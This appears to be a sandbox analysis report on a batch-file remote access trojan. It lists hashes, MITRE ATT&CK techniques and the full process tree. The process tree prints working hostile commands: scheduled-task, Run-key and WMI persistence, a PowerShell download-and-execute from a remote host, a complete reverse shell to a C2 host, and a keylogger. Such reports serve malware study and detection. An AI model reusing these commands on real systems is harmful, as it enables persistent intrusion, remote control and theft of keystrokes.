92d6dee7e4f2bcefc333c5b3504777b20a284621a19d39d7994e6a63917fef90

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:34

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General

Target
rat_build_234267_014628.bat
Size 4KB
Sample260529-bzcmdagv2r
SHA256 92d6dee7e4f2bcefc333c5b3504777b20a284621a19d39d7994e6a63917fef90
MD5 ed9feb7172b2c2376a139fc26e28ea5a
SHA1 51a45c8e6ff9e666058f76a0e4c4d43f09553bcf
SHA512 da1b5d4f875f1d4774b056aeb484de77f68e2d29666b62ed035dd85ca8fd496dbb7de1b00eae54013413470952a5e7d1776d96c03203013a2f4a81069b699d57
SSDEEP 96:oI0nW0lelJlU3i0wqBnfblooUlV9kevzVCYd48ggSscCiFgZk8mvlo1KHTtDd:oq0lel+Bjloxg9UiFgkHlJztDd
TLSH
T1BBA1D8135B6F613089712518E9323C55079CDDFB3354C68EAB498FC41A8CE83D6796AB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_234267.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2456	powershell.exe
1264	powershell.exe
4852	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_234267 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_234267.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4964	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1056	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2356	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1268	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1264	powershell.exe
1264	powershell.exe
4852	powershell.exe
4852	powershell.exe
2456	powershell.exe
2456	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	804	WMIC.exe
Token: SeSecurityPrivilege	804	WMIC.exe
Token: SeTakeOwnershipPrivilege	804	WMIC.exe
Token: SeLoadDriverPrivilege	804	WMIC.exe
Token: SeSystemProfilePrivilege	804	WMIC.exe
Token: SeSystemtimePrivilege	804	WMIC.exe
Token: SeProfSingleProcessPrivilege	804	WMIC.exe
Token: SeIncBasePriorityPrivilege	804	WMIC.exe
Token: SeCreatePagefilePrivilege	804	WMIC.exe
Token: SeBackupPrivilege	804	WMIC.exe
Token: SeRestorePrivilege	804	WMIC.exe
Token: SeShutdownPrivilege	804	WMIC.exe
Token: SeDebugPrivilege	804	WMIC.exe
Token: SeSystemEnvironmentPrivilege	804	WMIC.exe
Token: SeRemoteShutdownPrivilege	804	WMIC.exe
Token: SeUndockPrivilege	804	WMIC.exe
Token: SeManageVolumePrivilege	804	WMIC.exe
Token: 33	804	WMIC.exe
Token: 34	804	WMIC.exe
Token: 35	804	WMIC.exe
Token: 36	804	WMIC.exe
Token: SeIncreaseQuotaPrivilege	804	WMIC.exe
Token: SeSecurityPrivilege	804	WMIC.exe
Token: SeTakeOwnershipPrivilege	804	WMIC.exe
Token: SeLoadDriverPrivilege	804	WMIC.exe
Token: SeSystemProfilePrivilege	804	WMIC.exe
Token: SeSystemtimePrivilege	804	WMIC.exe
Token: SeProfSingleProcessPrivilege	804	WMIC.exe
Token: SeIncBasePriorityPrivilege	804	WMIC.exe
Token: SeCreatePagefilePrivilege	804	WMIC.exe
Token: SeBackupPrivilege	804	WMIC.exe
Token: SeRestorePrivilege	804	WMIC.exe
Token: SeShutdownPrivilege	804	WMIC.exe
Token: SeDebugPrivilege	804	WMIC.exe
Token: SeSystemEnvironmentPrivilege	804	WMIC.exe
Token: SeRemoteShutdownPrivilege	804	WMIC.exe
Token: SeUndockPrivilege	804	WMIC.exe
Token: SeManageVolumePrivilege	804	WMIC.exe
Token: 33	804	WMIC.exe
Token: 34	804	WMIC.exe
Token: 35	804	WMIC.exe
Token: 36	804	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3344	WMIC.exe
Token: SeSecurityPrivilege	3344	WMIC.exe
Token: SeTakeOwnershipPrivilege	3344	WMIC.exe
Token: SeLoadDriverPrivilege	3344	WMIC.exe
Token: SeSystemProfilePrivilege	3344	WMIC.exe
Token: SeSystemtimePrivilege	3344	WMIC.exe
Token: SeProfSingleProcessPrivilege	3344	WMIC.exe
Token: SeIncBasePriorityPrivilege	3344	WMIC.exe
Token: SeCreatePagefilePrivilege	3344	WMIC.exe
Token: SeBackupPrivilege	3344	WMIC.exe
Token: SeRestorePrivilege	3344	WMIC.exe
Token: SeShutdownPrivilege	3344	WMIC.exe
Token: SeDebugPrivilege	3344	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3344	WMIC.exe
Token: SeRemoteShutdownPrivilege	3344	WMIC.exe
Token: SeUndockPrivilege	3344	WMIC.exe
Token: SeManageVolumePrivilege	3344	WMIC.exe
Token: 33	3344	WMIC.exe
Token: 34	3344	WMIC.exe
Token: 35	3344	WMIC.exe
Token: 36	3344	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3344	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4708 wrote to memory of 1268	4708	cmd.exe	88
PID 4708 wrote to memory of 2356	4708	cmd.exe	89
PID 4708 wrote to memory of 804	4708	cmd.exe	90
PID 4708 wrote to memory of 3344	4708	cmd.exe	91
PID 4708 wrote to memory of 2708	4708	cmd.exe	92
PID 4708 wrote to memory of 1056	4708	cmd.exe	95
PID 4708 wrote to memory of 4964	4708	cmd.exe	101
PID 4708 wrote to memory of 1264	4708	cmd.exe	102
PID 4708 wrote to memory of 4852	4708	cmd.exe	103
PID 4708 wrote to memory of 2456	4708	cmd.exe	105

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_234267_014628.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4708
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_234267" /tr "C:\Users\Admin\AppData\Local\Temp\_234267.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1268
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_234267" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_234267.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2356
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_234267", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:804
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_234267", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_234267.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3344
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_234267.txt
  2⤵
  PID:2708
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:1056
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:4964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_234267.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2456

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 394832dfefa5e2e6204b60708a2ca33bb9d2f529664419bc050975f4b80faefe
MD5 49e7d5f2a296b59afec08bc314bed998
SHA1 7f898bf195ffd46ce2d19fad0ce33155f6e47f5f
SHA512 f64579fdac0bfebad4c20ad575b8ea45136e295fba950da4cbf84402228a3897b2e2deb4eb4605deb5df93321b1dc15c8a878da36016d7e5e060182142fdf839
TLSH
T1CE51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c436f0ef065a4cd1a9c8b409c595aa1bbaff7b2ed2be2500745f094e0a58f13a
MD5 0c58e6527fc97ec93001c7bb6431e531
SHA1 13553752551aadb87fd5b1e71fdc8c4b26d981d1
SHA512 5f4691b52bad07b978be22fdf230dfff075f4f7529eaeb0d6871980e7f343245ef23c39dedfed023b9043405855be0fe491c38968d9a386aaa0d940867adf307
TLSH
T157117A27F3DC8921CC96113A409D9C5176B583DB81AEDF9FAFC4D214A07F584CB71294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 479e30aab9aea527f35a883f9d2564454c5da1b0b512e00442931eee6dd7b4a0
MD5 9b2bec72b86f9fd4436e8d351bc99cdd
SHA1 630726346b61fcc2329944c935413d9f75b0c9cb
SHA512 fdfa2395e0d8751aa13b8bb7fa4ab329f20445e435bb8b005083b3d86c5d8bd67977e74d3b8b6f31a4b1f4d52aeeafc8e568d2c21ede254f18f55c730821629e
TLSH
T1A6115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_yadtwc3u.mas.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yadtwc3u.mas.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1264-10-0x00000154A9300000-0x00000154A9322000-memory.dmp

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memory/1264-13-0x00000154A9EA0000-0x00000154A9ED5000-memory.dmp

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memory/1264-14-0x00000154AA020000-0x00000154AA18A000-memory.dmp

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memory/4852-25-0x000001C4F97D0000-0x000001C4F993A000-memory.dmp

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